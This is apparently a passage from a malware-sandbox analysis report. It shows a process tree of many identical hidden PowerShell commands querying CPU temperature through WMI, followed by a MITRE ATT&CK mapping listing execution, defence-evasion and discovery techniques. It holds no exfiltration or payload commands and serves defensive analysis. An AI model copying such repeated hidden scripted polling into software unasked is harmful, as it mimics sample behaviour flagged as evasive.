  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1676

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...